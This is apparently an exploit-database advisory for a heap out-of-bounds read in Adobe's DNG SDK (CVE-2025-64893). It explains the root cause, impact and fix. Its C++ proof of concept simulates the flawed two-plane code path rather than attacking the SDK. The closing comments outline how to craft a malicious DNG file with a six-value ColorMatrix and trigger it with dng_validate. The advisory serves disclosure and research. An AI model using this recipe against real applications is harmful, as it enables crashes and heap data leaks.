📄 Adobe DNG SDK Missing Validation Heap Buffer Overflow

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    | # Title     : Adobe DNG SDK prior to v1.7.1.2410 Heap Buffer Overflow Due to Missing fSrcPlanes=2 Validation                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
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    [+] References : https://packetstorm.news/files/id/213066/ &	CVE-2025-64893
    
    [+] Summary    : A heap buffer overflow vulnerability exists in Adobe's DNG SDK (versions ≤ 1.7.1) due to improper handling of raw images with two color planes (fSrcPlanes = 2).
    
    [+] Root Cause:
    
    In dng_render_task::ProcessArea(), the code correctly handles 1, 3, or 4 color planes but omits validation for the unusual case of 2 planes. When fSrcPlanes = 2, 
    
    the function incorrectly enters the else block intended for 4‑plane processing and calls DoBaselineABCDtoRGB(), which attempts to read from four source pointers (sPtrA–sPtrD) even though only two are valid. This causes out‑of‑bounds memory reads.
    
    [+] Impact:
    
        Out‑of‑bounds read from the heap (information disclosure).
    
        Application crash (denial‑of‑service).
    
        Potential for arbitrary code execution depending on memory layout and further exploitation.
    
    [+] Trigger:
    
    A specially crafted DNG file with a ColorMatrix tag containing exactly 6 values (setting fColorPlanes = 2) can trigger the flaw during rendering, such as when running dng_validate.
    
    [+] Fix:
    
    Adobe released a patched version (1.7.1.2410) on November 17 2025. The vulnerability is tracked as CVE‑2025‑64893.
    
    [+] POC :
    
    #include <iostream>
    #include <cstdint>
    #include <cstdlib>
    #include <cstring>
    
    // ============================================
    // SIMULATION OF VULNERABLE DNG SDK CODE
    // ============================================
    
    // Simplified pixel buffer structure
    struct DngPixelBuffer {
        uint8_t* data;           // Raw pixel data
        int32_t plane_step;      // Offset between color planes (in floats)
        int32_t row_step;        // Offset between rows
        int32_t col_step;        // Offset between columns (usually 1)
        
        // Constructor
        DngPixelBuffer(uint8_t* buffer, int32_t p_step, int32_t r_step, int32_t c_step)
            : data(buffer), plane_step(p_step), row_step(r_step), col_step(c_step) {}
    };
    
    // Simulated color conversion function (vulnerable version)
    void DoBaselineABCDtoRGB(const float* planeA,
                             const float* planeB,
                             const float* planeC,
                             const float* planeD,
                             float* outputR,
                             float* outputG,
                             float* outputB,
                             uint32_t width,
                             const float* white_balance,
                             const float* color_matrix) {
        
        std::cout << "[DEBUG] Processing " << width << " pixels with 4 planes assumption\n";
        
        // VULNERABLE: Accesses all 4 planes even when only 2 exist
        for (uint32_t col = 0; col < width; col++) {
            float a = planeA[col];
            float b = planeB[col];
            float c = planeC[col];  // OUT-OF-BOUNDS READ when fSrcPlanes=2!
            float d = planeD[col];  // OUT-OF-BOUNDS READ when fSrcPlanes=2!
            
            // Simulate color conversion (simplified)
            outputR[col] = a * 1.2f + c * 0.1f;  // Uses illegal 'c'
            outputG[col] = b * 0.9f + d * 0.3f;  // Uses illegal 'd'
            outputB[col] = a * 0.8f + b * 0.7f;
            
            // Debug output for first few pixels
            if (col < 3) {
                std::cout << "  Pixel " << col << ": A=" << a << " B=" << b 
                         << " C=" << c << " D=" << d << "\n";
            }
        }
    }
    
    // Simulated vulnerable ProcessArea function
    void VulnerableProcessArea(DngPixelBuffer* src_buffer,
                              int32_t src_row,
                              int32_t src_cols,
                              int32_t src_planes) {
        
        std::cout << "[DEBUG] ProcessArea called with src_planes=" << src_planes 
                  << ", src_cols=" << src_cols << "\n";
        
        // Get pointer to first plane
        const float* ptrA = reinterpret_cast<const float*>(
            src_buffer->data + src_row * src_buffer->row_step);
        
        // Allocate output buffers
        float* outputR = new float[src_cols];
        float* outputG = new float[src_cols];
        float* outputB = new float[src_cols];
        
        if (src_planes == 1) {
            std::cout << "[INFO] Processing 1 plane (monochrome)\n";
            // Safe: copy single plane to all three outputs
            for (int32_t i = 0; i < src_cols; i++) {
                outputR[i] = ptrA[i];
                outputG[i] = ptrA[i];
                outputB[i] = ptrA[i];
            }
        }
        else if (src_planes == 3) {
            std::cout << "[INFO] Processing 3 planes (normal RGB)\n";
            // Safe: three planes available
            const float* ptrB = ptrA + src_buffer->plane_step;
            const float* ptrC = ptrB + src_buffer->plane_step;
            
            for (int32_t i = 0; i < src_cols; i++) {
                outputR[i] = ptrA[i] * 1.1f;
                outputG[i] = ptrB[i] * 1.0f;
                outputB[i] = ptrC[i] * 0.9f;
            }
        }
        else {
            // VULNERABLE: Assumes src_planes == 4
            // But can be src_planes == 2!
            std::cout << "[WARNING] Entering 4-plane processing path\n";
            
            const float* ptrB = ptrA + src_buffer->plane_step;
            const float* ptrC = ptrB + src_buffer->plane_step;  // PROBLEM: May be OOB!
            const float* ptrD = ptrC + src_buffer->plane_step;  // PROBLEM: Definitely OOB!
            
            // Print memory addresses to show the issue
            std::cout << "[DEBUG] Memory pointers:\n";
            std::cout << "  Plane A: " << (void*)ptrA << "\n";
            std::cout << "  Plane B: " << (void*)ptrB << "\n";
            std::cout << "  Plane C: " << (void*)ptrC << "\n";
            std::cout << "  Plane D: " << (void*)ptrD << "\n";
            
            // This will read out-of-bounds when src_planes=2
            DoBaselineABCDtoRGB(ptrA, ptrB, ptrC, ptrD,
                               outputR, outputG, outputB,
                               src_cols,
                               nullptr, nullptr);
        }
        
        // Print some output values
        std::cout << "[DEBUG] First 3 output pixels:\n";
        for (int i = 0; i < 3 && i < src_cols; i++) {
            std::cout << "  Pixel " << i << ": R=" << outputR[i] 
                     << " G=" << outputG[i] << " B=" << outputB[i] << "\n";
        }
        
        // Cleanup
        delete[] outputR;
        delete[] outputG;
        delete[] outputB;
    }
    
    // ============================================
    // EXPLOIT DEMONSTRATION
    // ============================================
    
    int main() {
        std::cout << "========================================\n";
        std::cout << "DNG SDK CVE-2025-64893 EXPLOIT DEMO\n";
        std::cout << "Heap Buffer Overflow Vulnerability\n";
        std::cout << "          By indoushka             \n";
        std::cout << "========================================\n\n";
        
        // Configuration
        const int32_t IMAGE_WIDTH = 10;
        const int32_t IMAGE_HEIGHT = 1;
        const int32_t PLANE_COUNT = 2;  // This triggers the vulnerability!
        const int32_t PLANE_STEP = IMAGE_WIDTH;  // Each plane is width floats
        
        // Calculate buffer size
        const size_t BUFFER_SIZE = PLANE_COUNT * PLANE_STEP * sizeof(float);
        
        std::cout << "[CONFIG] Creating image with:\n";
        std::cout << "  Width: " << IMAGE_WIDTH << " pixels\n";
        std::cout << "  Height: " << IMAGE_HEIGHT << " rows\n";
        std::cout << "  Planes: " << PLANE_COUNT << " (THIS TRIGGERS THE BUG!)\n";
        std::cout << "  Plane step: " << PLANE_STEP << " floats\n";
        std::cout << "  Buffer size: " << BUFFER_SIZE << " bytes\n\n";
        
        // Allocate and initialize buffer
        uint8_t* pixel_data = new uint8_t[BUFFER_SIZE];
        float* float_data = reinterpret_cast<float*>(pixel_data);
        
        std::cout << "[INIT] Initializing pixel data...\n";
        
        // Fill plane A (first plane)
        for (int i = 0; i < IMAGE_WIDTH; i++) {
            float_data[i] = static_cast<float>(i);  // Plane A values: 0, 1, 2, ...
        }
        
        // Fill plane B (second plane)
        for (int i = 0; i < IMAGE_WIDTH; i++) {
            float_data[PLANE_STEP + i] = static_cast<float>(i + 100);  // 100, 101, 102, ...
        }
        
        // Create pixel buffer
        DngPixelBuffer buffer(pixel_data, 
                             PLANE_STEP,  // plane_step in floats
                             IMAGE_WIDTH * PLANE_COUNT * sizeof(float),  // row_step in bytes
                             1);  // col_step
        
        std::cout << "\n[EXECUTION] Calling VulnerableProcessArea...\n";
        std::cout << "----------------------------------------\n";
        
        // Trigger the vulnerability!
        // This will process a 2-plane image but use 4-plane logic
        VulnerableProcessArea(&buffer, 0, IMAGE_WIDTH, PLANE_COUNT);
        
        std::cout << "----------------------------------------\n";
        
        // Show what happens in memory
        std::cout << "\n[MEMORY ANALYSIS]\n";
        std::cout << "Valid buffer range: " << (void*)pixel_data 
                  << " to " << (void*)(pixel_data + BUFFER_SIZE) << "\n";
        
        // Calculate where ptrC and ptrD point to
        const float* ptrA = reinterpret_cast<const float*>(pixel_data);
        const float* ptrC = ptrA + 2 * PLANE_STEP;  // 2 planes ahead
        const float* ptrD = ptrA + 3 * PLANE_STEP;  // 3 planes ahead
        
        std::cout << "ptrC points to: " << (void*)ptrC << "\n";
        std::cout << "ptrD points to: " << (void*)ptrD << "\n";
        
        // Check if pointers are out of bounds
        if (reinterpret_cast<const uint8_t*>(ptrC) >= pixel_data + BUFFER_SIZE) {
            std::cout << "  -> ptrC is OUT OF BOUNDS!\n";
        }
        if (reinterpret_cast<const uint8_t*>(ptrD) >= pixel_data + BUFFER_SIZE) {
            std::cout << "  -> ptrD is OUT OF BOUNDS!\n";
        }
        
        // Demonstrate potential information leak
        std::cout << "\n[INFORMATION LEAK DEMO]\n";
        std::cout << "What ptrC might read (uninitialized memory after buffer):\n";
        std::cout << "  First value at ptrC: " << *ptrC << "\n";
        std::cout << "  This could contain sensitive data from heap!\n";
        
        // Cleanup
        delete[] pixel_data;
        
        std::cout << "\n[RESULT]\n";
        std::cout << "The program successfully demonstrated:\n";
        std::cout << "1. Out-of-bounds memory reads\n";
        std::cout << "2. Potential information disclosure\n";
        std::cout << "3. In real DNG SDK, this could lead to:\n";
        std::cout << "   - Application crash\n";
        std::cout << "   - Information leak\n";
        std::cout << "   - Possible code execution\n";
        
        return 0;
    }
    
    // ============================================
    // COMPILATION AND USAGE INSTRUCTIONS
    // ============================================
    
    /*
    HOW TO COMPILE AND RUN:
    
    1. Save the code to a file: dng_exploit_demo.cpp
    
    2. Compile with g++:
       g++ -o dng_exploit_demo dng_exploit_demo.cpp -std=c++11
    
    3. Run the program:
       ./dng_exploit_demo
    
    EXPECTED OUTPUT:
    - The program will simulate processing a 2-plane DNG image
    - It will show the vulnerable code path being taken
    - Memory addresses will demonstrate out-of-bounds access
    - Information about potential data leak will be shown
    
    REAL-WORLD EXPLOITATION:
    
    To exploit the actual DNG SDK vulnerability:
    
    1. Create a malicious DNG file:
       - Set ColorMatrix tag with exactly 6 values (forces fColorPlanes=2)
       - Include image data with only 2 color planes
    
    2. Trigger processing:
       - Use dng_validate or any application using vulnerable DNG SDK
       - Command: dng_validate -tif output.tif malicious.dng
    
    3. Potential impacts:
       - Read sensitive data from heap memory
       - Cause denial of service (crash)
       - With careful heap grooming, possible code execution
    
    MITIGATION:
    - Update to DNG SDK version 1.7.1.2410 or later
    - Add proper validation for fSrcPlanes=2 case
    - Validate bounds before accessing plane pointers
    */
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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